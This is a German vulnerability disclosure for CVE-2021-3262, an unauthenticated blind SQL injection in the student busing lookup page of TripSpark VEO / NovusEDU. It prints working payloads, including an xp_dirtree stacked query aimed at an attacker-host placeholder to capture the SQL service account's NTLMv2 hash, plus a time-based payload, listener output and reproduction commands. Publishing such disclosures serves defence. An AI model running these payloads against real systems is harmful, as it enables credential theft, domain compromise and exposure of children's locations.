
CVE-2021-3262 - Blind-SQL-Injection im Parameter editOEN von TripSpark VEO Transportation / NovusEDU. Ohne Authentifizierung, über das Internet erreichbar. Payloads, annotierte Requests und Nachweise.
SQL-Injection in TripSpark VEO Transportation / NovusEDU
Die öffentliche Nachschlagseite „Student Busing Information", die mit TripSpark VEO
Transportation ausgeliefert wird, nimmt nicht authentifizierte POST-Body-Eingaben entgegen
und fügt sie ohne Parametrisierung oder serverseitige Validierung in eine SQL-Server-Abfrage
ein. Der Parameter editOEN (das Schüler-N-Nummer-Feld) ist injizierbar.
Die Injektion ist blind: Die Anwendung gibt keine Datenbankfehler und keine verwertbaren
unterschiedlichen Inhalte zurück. Sie ist dennoch vollständig out-of-band ausnutzbar, weil
die Datenbankverbindung master.dbo.xp_dirtree erreichen kann, wodurch das
SQL-Server-Dienstkonto gezwungen wird, sich ausgehend über SMB an einem angreifergesteuerten
UNC-Pfad zu authentifizieren.
Gefunden während eines externen Penetrationstests. Im ursprünglichen Auftrag war die erbeutete Dienstkonto-Anmeldeinformation der Ausgangspunkt, der zur vollständigen Kompromittierung der Active-Directory-Domäne und -Gesamtstruktur des Kunden führte.
Veröffentlicht als CVE-2021-3262. Entdeckt und gemeldet von Sedric Louissaint von Show Up Show Out Security.
| CVE | CVE-2021-3262 |
| Produkt | TripSpark VEO Transportation / NovusEDU |
| Betroffen | NovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS |
| Schwachstelle | CWE-89: SQL-Injection |
| CVSS 3.1 (NVD) | 9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (Forscher) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| Veröffentlicht | 2023-08-29 |
| Getestet auf | Windows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64) |
| Authentifizierung erforderlich | Keine. Die Nachschlagseite ist konstruktionsbedingt über das Internet erreichbar. |
NVD-Beschreibung:
TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 erlaubt unsichere Dateneingaben in POST-Body-Parametern von Endbenutzern, ohne sie mit serverseitiger Logik zu bereinigen. Es war möglich, benutzerdefinierte SQL-Befehle in die Suchabfragen der „Student Busing Information"-Seite einzuschleusen.
Schulbezirke setzen die Seite „Student Busing Information" auf ihrer öffentlichen Website ein, damit Eltern die Buszuteilung eines Schülers nachschlagen können. Sie fragt nach einer Schüler-N-Nummer und einem Geburtsdatum und ist absichtlich nicht authentifiziert.

Das N-Number-Feld wird als editOEN übermittelt. Das Geburtsdatum wird als cboxMonth,
cboxDay und cboxYear übermittelt. editOEN ist der injizierbare Parameter.
Im Gegensatz zu vielen ASP.NET-Anwendungen dieser Bauart gibt diese Seite keine Datenbankfehler aus. Es gibt keinen sichtbaren Unterschied zwischen einer wohlgeformten und einer fehlerhaften Abfrage, daher führen In-Band-Techniken in eine Sackgasse.
Gestapelte Abfragen (Stacked Queries) werden jedoch ausgeführt, und das ist alles, was nötig ist.
master.dbo.xp_dirtree zählt ein Verzeichnis auf. Bei einem UNC-Pfad authentifiziert sich
SQL Server vor dem Lesen über SMB am Zielhost. Wenn man es auf einen Listener ausrichtet,
wird aus einer stillen Injektion eine sichtbare:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

Die Anfrage ist ein gewöhnlicher ASP.NET-WebForms-POST mit etwa 4.700 Bytes, der größtenteils
aus __VIEWSTATE besteht. Die vollständige Anfrage finden Sie in
poc/exploited-request.http, die Payloads in
poc/payloads.sql.

Mit Impackts smbserver.py, das auf einem Host im öffentlichen Internet lauscht, authentifiziert
sich der Datenbankserver im Netzwerk des Schulbezirks ausgehend:
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

Zwei Dinge sind ausdrücklich zu nennen. Erstens handelt es sich um ein nicht authentifiziertes, über das Internet erreichbares Formular, das auf eine Produktionsdatenbank zugreift. Zweitens durfte dieser Datenbankserver ausgehende SMB-Verbindungen zu beliebigen Internet-Hosts aufbauen, was die blinde Injektion erst beobachtbar machte.
Über die Injektion hinaus war die erbeutete NTLMv2-Anmeldeinformation des SQL-Server-Dienstkontos der erste Ausgangspunkt im ursprünglichen Auftrag. Von dort aus eskalierte die Untersuchung bis zur vollständigen Kompromittierung der Active-Directory-Domäne und -Gesamtstruktur des Kunden.
Die gefährdeten Daten sind Schülerbeförderungsdatensätze: Namen, Wohnadressen, zugewiesener Bus, zugewiesene Haltestelle, Abholzeiten und Sonderschul-Routen. Das ist ein Plan darüber, wo sich identifizierbare Kinder zu bekannten Zeiten physisch aufhalten werden.
Gegen eine Laborinstanz, die Ihnen gehört oder für die Sie eine Testberechtigung haben:
sudo smbserver.py c . -smb2support
xp_dirtree-Payload aus
poc/payloads.sql im N-Number-Feld und setzen Sie dabei Ihre eigene IP
ein. Erfassen und wiederholen Sie den POST, anstatt ihn im Browser einzutippen, falls das Feld
ein clientseitiges Längenlimit hat, da dieses Limit serverseitig nicht existiert.123'; waitfor delay '0:0:10';--
poc/
payloads.sql Detection, time-based and out-of-band payloads for editOEN
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations for a blind stacked-query injection
media/
01-student-busing-information-page.png
02-editoen-payload-in-burp.png
03-forced-auth-captured-impacket.png
04-exploited-http-request.png
Client-IDs in den Erfassungen wurden geschwärzt. Die Listener-Adressen stammen aus dem ursprünglichen Auftrag und sind längst tot. Setzen Sie bei der Reproduktion Ihre eigenen ein.
editOEN als Parameter, und das Payload wird
unabhängig von seinem Inhalt zu einer inerten Zeichenkette.xp_dirtree und die anderen erweiterten gespeicherten Prozeduren.| Datum | Ereignis |
|---|---|
| 2021 | Gefunden während eines externen Penetrationstests und an TripSpark gemeldet |
| 2023-08-29 | CVE-2021-3262 auf NVD veröffentlicht, bewertet mit 9.8 Kritisch |
Nach der Offenlegung veröffentlicht, für defensive und Bildungszwecke. Führen Sie diese Payloads nicht gegen Systeme aus, die Ihnen nicht gehören oder für die Sie keine schriftliche Testgenehmigung haben. Wenn Sie eine Schulbezirks-Installation verwalten, ist die sinnvolle Maßnahme hier, Ihren Anbieter schriftlich zu fragen, ob die Abfragen hinter Ihren öffentlichen Formularen parametrisiert sind.